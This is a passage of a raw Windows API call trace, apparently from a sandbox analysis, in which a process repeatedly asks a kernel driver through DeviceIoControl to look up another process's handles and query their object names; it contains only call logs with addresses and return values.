HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030a0bb0, HandleInformation=0x0) returned 0x0 [0068.668] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.668] PsReleaseProcessExitSynchronization () returned 0x2 [0068.668] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.668] ObQueryNameString (in: Object=0xfffffa80030a0bb0, ObjectNameInfo=0xfffffa8003986044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003986044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.668] ObfDereferenceObject (Object=0xfffffa80030a0bb0) returned 0x1 [0068.668] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.668] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.668] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0068.668] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.668] PsAcquireProcessExitSynchronization () returned 0x0 [0068.668] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.668] ObReferenceObjectByHandle (in: Handle=0x360, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030a0250, HandleInformation=0x0) returned 0x0 [0068.668] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.668] PsReleaseProcessExitSynchronization () returned 0x2 [0068.668] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.668] ObQueryNameString (in: Object=0xfffffa80030a0250, ObjectNameInfo=0xfffffa8003987044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003987044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.669] ObfDereferenceObject (Object=0xfffffa80030a0250) returned 0x2 [0068.669] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.669] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.669] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.669] PsAcquireProcessExitSynchronization () returned 0x0 [0068.669] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.669] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800829a350, HandleInformation=0x0) returned 0x0 [0068.669] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.669] PsReleaseProcessExitSynchronization () returned 0x2 [0068.669] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.669] ObQueryNameString (in: Object=0xfffffa800829a350, ObjectNameInfo=0xfffffa8003988044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003988044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.669] ObfDereferenceObject (Object=0xfffffa800829a350) returned 0x1 [0068.669] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.669] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0068.669] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.669] PsAcquireProcessExitSynchronization () returned 0x0 [0068.669] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.669] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80118c8540, HandleInformation=0x0) returned 0x0 [0068.669] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.669] PsReleaseProcessExitSynchronization () returned 0x2 [0068.669] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.669] ObQueryNameString (in: Object=0xfffffa80118c8540, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.669] ObfDereferenceObject (Object=0xfffffa80118c8540) returned 0x1 [0068.669] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.669] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.669] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0068.670] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.670] PsAcquireProcessExitSynchronization () returned 0x0 [0068.670] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.670] ObReferenceObjectByHandle (in: Handle=0x3c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80118c82a0, HandleInformation=0x0) returned 0x0 [0068.670] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.670] PsReleaseProcessExitSynchronization () returned 0x2 [0068.670] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.670] ObQueryNameString (in: Object=0xfffffa80118c82a0, ObjectNameInfo=0xfffffa800398d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.670] ObfDereferenceObject (Object=0xfffffa80118c82a0) returned 0x2 [0068.670] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.670] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.670] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0068.670] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.670] PsAcquireProcessExitSynchronization () returned 0x0 [0068.670] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.670] ObReferenceObjectByHandle (in: Handle=0x3c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800308f070, HandleInformation=0x0) returned 0x0 [0068.670] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.670] PsReleaseProcessExitSynchronization () returned 0x2 [0068.670] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.670] ObQueryNameString (in: Object=0xfffffa800308f070, ObjectNameInfo=0xfffffa800398e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.670] ObfDereferenceObject (Object=0xfffffa800308f070) returned 0x1 [0068.670] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.670] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.670] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0068.670] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.670] PsAcquireProcessExitSynchronization () returned 0x0 [0068.670] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.671] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800343ed10, HandleInformation=0x0) returned 0x0 [0068.671] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.671] PsReleaseProcessExitSynchronization () returned 0x2 [0068.671] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.671] ObQueryNameString (in: Object=0xfffffa800343ed10, ObjectNameInfo=0xfffffa800398f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.671] ObfDereferenceObject (Object=0xfffffa800343ed10) returned 0x2 [0068.671] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.671] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.671] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.671] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.671] PsAcquireProcessExitSynchronization () returned 0x0 [0068.671] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.671] ObReferenceObjectByHandle (in: Handle=0x5a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031f0a80, HandleInformation=0x0) returned 0x0 [0068.671] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.671] PsReleaseProcessExitSynchronization () returned 0x2 [0068.671] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.671] ObQueryNameString (in: Object=0xfffffa80031f0a80, ObjectNameInfo=0xfffffa8003990044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003990044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.671] ObfDereferenceObject (Object=0xfffffa80031f0a80) returned 0x1 [0068.671] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.671] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.671] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.671] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.671] PsAcquireProcessExitSynchronization () returned 0x0 [0068.671] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.672] ObReferenceObjectByHandle (in: Handle=0x5b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031ee8f0, HandleInformation=0x0) returned 0x0 [0068.672] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.672] PsReleaseProcessExitSynchronization () returned 0x2 [0068.672] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.672] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003991044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003991044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.672] ObfDereferenceObject (Object=0xfffffa80031ee8f0) returned 0x1 [0068.672] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.672] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.672] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0068.672] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.672] PsAcquireProcessExitSynchronization () returned 0x0 [0068.672] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.672] ObReferenceObjectByHandle (in: Handle=0x600, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8010dc5b80, HandleInformation=0x0) returned 0x0 [0068.672] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.672] PsReleaseProcessExitSynchronization () returned 0x2 [0068.672] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.672] ObQueryNameString (in: Object=0xfffffa8010dc5b80, ObjectNameInfo=0xfffffa8003992044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003992044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.672] ObfDereferenceObject (Object=0xfffffa8010dc5b80) returned 0x2 [0068.672] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.672] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.672] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0068.672] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.672] PsAcquireProcessExitSynchronization () returned 0x0 [0068.672] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.672] ObReferenceObjectByHandle (in: Handle=0x608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8010dc5970, HandleInformation=0x0) returned 0x0 [0068.672] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.672] PsReleaseProcessExitSynchronization () returned 0x2 [0068.672] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.673] ObQueryNameString (in: Object=0xfffffa8010dc5970, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.673] ObfDereferenceObject (Object=0xfffffa8010dc5970) returned 0x2 [0068.673] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.673] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.673] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.673] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.673] PsAcquireProcessExitSynchronization () returned 0x0 [0068.673] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.673] ObReferenceObjectByHandle (in: Handle=0x724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80035681b0, HandleInformation=0x0) returned 0x0 [0068.673] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.673] PsReleaseProcessExitSynchronization () returned 0x2 [0068.673] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.673] ObQueryNameString (in: Object=0xfffffa80035681b0, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.673] ObfDereferenceObject (Object=0xfffffa80035681b0) returned 0x2 [0068.673] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.673] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.673] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.673] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.673] PsAcquireProcessExitSynchronization () returned 0x0 [0068.673] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.673] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8010307f20, HandleInformation=0x0) returned 0x0 [0068.673] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.673] PsReleaseProcessExitSynchronization () returned 0x2 [0068.673] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.673] ObQueryNameString (in: Object=0xfffffa8010307f20, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.673] ObfDereferenceObject (Object=0xfffffa8010307f20) returned 0x2 [0068.673] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.674] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.674] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.674] PsAcquireProcessExitSynchronization () returned 0x0 [0068.674] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.674] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800352e5a0, HandleInformation=0x0) returned 0x0 [0068.674] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.674] PsReleaseProcessExitSynchronization () returned 0x2 [0068.674] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.674] ObQueryNameString (in: Object=0xfffffa800352e5a0, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.674] ObfDereferenceObject (Object=0xfffffa800352e5a0) returned 0x2 [0068.674] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.674] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.674] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.674] PsAcquireProcessExitSynchronization () returned 0x0 [0068.674] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.674] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80023916f0, HandleInformation=0x0) returned 0x0 [0068.674] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.674] PsReleaseProcessExitSynchronization () returned 0x2 [0068.674] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.674] ObQueryNameString (in: Object=0xfffffa80023916f0, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.674] ObfDereferenceObject (Object=0xfffffa80023916f0) returned 0x2 [0068.674] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.674] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0068.674] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.675] PsAcquireProcessExitSynchronization () returned 0x0 [0068.675] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880054f85d0) [0068.675] ObReferenceObjectByHandle (in: Handle=0x768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80035a2b80, HandleInformation=0x0) returned 0x0 [0068.675] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.675] PsReleaseProcessExitSynchronization () returned 0x2 [0068.675] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xee [0068.675] ObQueryNameString (in: Object=0xfffffa80035a2b80, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.675] ObfDereferenceObject (Object=0xfffffa80035a2b80) returned 0x1 [0068.675] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.675] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0068.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 